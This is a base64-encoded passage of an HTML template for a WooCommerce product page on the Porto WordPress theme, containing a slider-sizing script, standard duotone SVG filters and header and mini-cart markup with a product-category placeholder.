iBwdzsNCiAgICAgICAgICAgIGUudGFidyA9IGUudGFidyA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGFidyk7DQogICAgICAgICAgICBlLnRodW1idyA9IGUudGh1bWJ3ID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50aHVtYncpOw0KICAgICAgICAgICAgZS50YWJoID0gZS50YWJoID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50YWJoKTsNCiAgICAgICAgICAgIGUudGh1bWJoID0gZS50aHVtYmggPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRodW1iaCk7DQogICAgICAgICAgICBlLnRhYmhpZGUgPSBlLnRhYmhpZGUgPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRhYmhpZGUpOw0KICAgICAgICAgICAgZS50aHVtYmhpZGUgPSBlLnRodW1iaGlkZSA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGh1bWJoaWRlKTsNCiAgICAgICAgICAgIGUubWggPSBlLm1oID09PSB1bmRlZmluZWQgfHwgZS5taCA9PSAiIiB8fCBlLm1oID09PSAiYXV0byIgPyAwIDogcGFyc2VJbnQoZS5taCwgMCk7DQogICAgICAgICAgICBpZiAoZS5sYXlvdXQgPT09ICJmdWxsc2NyZWVuIiB8fCBlLmwgPT09ICJmdWxsc2NyZWVuIikNCiAgICAgICAgICAgICAgICBuZXdoID0gTWF0aC5tYXgoZS5taCwgd2luZG93LlJTSUgpOw0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgZS5ndyA9IEFycmF5LmlzQXJyYXkoZS5ndykgPyBlLmd3IDogW2UuZ3ddOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgaWYgKGUuZ3dbaV0gPT09IHVuZGVmaW5lZCB8fCBlLmd3W2ldID09PSAwKSBlLmd3W2ldID0gZS5nd1tpIC0gMV07DQogICAgICAgICAgICAgICAgZS5naCA9IGUuZWwgPT09IHVuZGVmaW5lZCB8fCBlLmVsID09PSAiIiB8fCAoQXJyYXkuaXNBcnJheShlLmVsKSAmJiBlLmVsLmxlbmd0aCA9PSAwKSA/IGUuZ2ggOiBlLmVsOw0KICAgICAgICAgICAgICAgIGUuZ2ggPSBBcnJheS5pc0FycmF5KGUuZ2gpID8gZS5naCA6IFtlLmdoXTsNCiAgICAgICAgICAgICAgICBmb3IgKHZhciBpIGluIGUucmwpIGlmIChlLmdoW2ldID09PSB1bmRlZmluZWQgfHwgZS5naFtpXSA9PT0gMCkgZS5naFtpXSA9IGUuZ2hbaSAtIDFdOw0KDQogICAgICAgICAgICAgICAgdmFyIG5sID0gbmV3IEFycmF5KGUucmwubGVuZ3RoKSwNCiAgICAgICAgICAgICAgICAgICAgaXggPSAwLA0KICAgICAgICAgICAgICAgICAgICBzbDsNCiAgICAgICAgICAgICAgICBlLnRhYncgPSBlLnRhYmhpZGUgPj0gcHcgPyAwIDogZS50YWJ3Ow0KICAgICAgICAgICAgICAgIGUudGh1bWJ3ID0gZS50aHVtYmhpZGUgPj0gcHcgPyAwIDogZS50aHVtYnc7DQogICAgICAgICAgICAgICAgZS50YWJoID0gZS50YWJoaWRlID49IHB3ID8gMCA6IGUudGFiaDsNCiAgICAgICAgICAgICAgICBlLnRodW1iaCA9IGUudGh1bWJoaWRlID49IHB3ID8gMCA6IGUudGh1bWJoOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgbmxbaV0gPSBlLnJsW2ldIDwgd2luZG93LlJTSVcgPyAwIDogZS5ybFtpXTsNCiAgICAgICAgICAgICAgICBzbCA9IG5sWzBdOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gbmwpIGlmIChzbCA+IG5sW2ldICYmIG5sW2ldID4gMCkgew0KICAgICAgICAgICAgICAgICAgICBzbCA9IG5sW2ldOw0KICAgICAgICAgICAgICAgICAgICBpeCA9IGk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHZhciBtID0gcHcgPiAoZS5nd1tpeF0gKyBlLnRhYncgKyBlLnRodW1idykgPyAxIDogKHB3IC0gKGUudGFidyArIGUudGh1bWJ3KSkgLyAoZS5nd1tpeF0pOw0KICAgICAgICAgICAgICAgIG5ld2ggPSAoZS5naFtpeF0gKiBtKSArIChlLnRhYmggKyBlLnRodW1iaCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2YXIgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMpOw0KICAgICAgICAgICAgaWYgKGVsICE9PSBudWxsICYmIGVsKSBlbC5zdHlsZS5oZWlnaHQgPSBuZXdoICsgInB4IjsNCiAgICAgICAgICAgIGVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZS5jICsgIl93cmFwcGVyIik7DQogICAgICAgICAgICBpZiAoZWwgIT09IG51bGwgJiYgZWwpIHsNCiAgICAgICAgICAgICAgICBlbC5zdHlsZS5oZWlnaHQgPSBuZXdoICsgInB4IjsNCiAgICAgICAgICAgICAgICBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAoZSkgew0KICAgICAgICAgICAgY29uc29sZS5sb2coIkZhaWx1cmUgYXQgUHJlc2l6ZSBvZiBTbGlkZXI6IiArIGUpDQogICAgICAgIH0NCiAgICAgICAgLy99KTsNCiAgICB9Ozwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHkgY2xhc3M9InByb2R1Y3QtdGVtcGxhdGUtZGVmYXVsdCBzaW5nbGUgc2luZ2xlLXByb2R1Y3QgcG9zdGlkLTE1NTc2NjA3ODU0MyB3cC1lbWJlZC1yZXNwb25zaXZlIHRoZW1lLXBvcnRvIHdvb2NvbW1lcmNlIHdvb2NvbW1lcmNlLXBhZ2Ugd29vY29tbWVyY2Utbm8tanMgbG9naW4tcG9wdXAgd2lkZSBibG9nLTEgYm9keS1zaWRlIGVsZW1lbnRvci1kZWZhdWx0IGVsZW1lbnRvci1raXQtMjE1MiI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtZGFyay1ncmF5c2NhbGUiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtZ3JheXNjYWxlIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLXB1cnBsZS15ZWxsb3ciPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC41NDkwMTk2MDc4NDMxNCAwLjk4ODIzNTI5NDExNzY1Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNzE3NjQ3MDU4ODIzNTMgMC4yNTQ5MDE5NjA3ODQzMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtYmx1ZS1yZWQiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuMjc4NDMxMzcyNTQ5MDIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNTkyMTU2ODYyNzQ1MSAwLjI3ODQzMTM3MjU0OTAyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1taWRuaWdodCI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC42NDcwNTg4MjM1Mjk0MSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdyI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjc4MDM5MjE1Njg2Mjc1IDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC45NDkwMTk2MDc4NDMxNCIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC4zNTI5NDExNzY0NzA1OSAwLjQ3MDU4ODIzNTI5NDEyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1wdXJwbGUtZ3JlZW4iPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC42NTA5ODAzOTIxNTY4NiAwLjQwMzkyMTU2ODYyNzQ1Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNDQ3MDU4ODIzNTI5NDEgMC40Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ibHVlLW9yYW5nZSI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjA5ODAzOTIxNTY4NjI3NSAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNjYyNzQ1MDk4MDM5MjIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuODQ3MDU4ODIzNTI5NDEgMC40MTk2MDc4NDMxMzcyNSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8ZGl2IGNsYXNzPSJwYWdlLXdyYXBwZXIgc2lkZS1uYXYiPjwhLS0gcGFnZSB3cmFwcGVyIC0tPg0KDQogICAgPCEtLSBoZWFkZXIgd3JhcHBlciAtLT4NCiAgICA8ZGl2IGNsYXNzPSJoZWFkZXItd3JhcHBlciBoZWFkZXItc2lkZS1uYXYgc2lkZS1uYXYtd3JhcCI+DQogICAgICAgIDxoZWFkZXIgaWQ9ImhlYWRlciIgY2xhc3M9ImhlYWRlci1zaWRlIHN0aWNreS1tZW51LWhlYWRlciIgZGF0YS1wbHVnaW4tc3RpY2t5DQogICAgICAgICAgICAgICAgZGF0YS1wbHVnaW4tb3B0aW9ucz0ieyZxdW90O2F1dG9Jbml0JnF1b3Q7OiB0cnVlLCAmcXVvdDttaW5XaWR0aCZxdW90OzogOTkyLCAmcXVvdDtjb250YWluZXJTZWxlY3RvciZxdW90OzogJnF1b3Q7LnBhZ2Utd3JhcHBlciZxdW90OywmcXVvdDthdXRvRml0JnF1b3Q7OnRydWUsICZxdW90O3BhZGRpbmdPZmZzZXRCb3R0b20mcXVvdDs6IDAsICZxdW90O3BhZGRpbmdPZmZzZXRUb3AmcXVvdDs6IDB9Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlci1tYWluIHNob3ctbWluaWNhcnQiPg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJzaWRlYmFyLW1lbnUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7cHJvZHVjdF9jYXRlZ29yeX19DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im1vYmlsZS10b2dnbGUiIGFyaWEtbGFiZWw9Ik1vYmlsZSBNZW51IiBocmVmPSIjIj48aSBjbGFzcz0iZmFzIGZhLWJhcnMiPjwvaT48L2E+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQteGwtbm9uZSBkLWxnLW5vbmUgaW5saW5lLWJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtaW5pLWNhcnQiIGNsYXNzPSJtaW5pLWNhcnQgc2ltcGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1oZWFkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjYXJ0LWljb24iPjxpIGNsYXNzPSJtaW5pY2FydC1pY29uIHBvcnRvLWljb24tc2hvcHBpbmctY2FydCI+PC9pPjxzcGFuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zIj4wPC9zcGFuPjwvc3Bhbj48c3Bhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zLXRleHQiPjAgaXRlbXM8L3NwYW4+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtcG9wdXAgd2lkZ2V0X3Nob3BwaW5nX2NhcnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2lkZ2V0X3Nob3BwaW5nX2NhcnRfY29udGVudCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1sb2FkaW5nIj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9oZWFkZXI+DQoNCiAgICA8L2Rpdj4NCiAgICA8IS0tIGVuZCBoZWFkZXIgd3JhcHBlciAtLT4NCg0KICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcHBlciI+DQoNCiAgICAgICAgPHNlY3Rpb24gY2xhc3M9InBhZ2UtdG9wIHBhZ2UtaGVhZGVyLTYiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGhpZGUtdGl0bGUiPg0KICAgICAg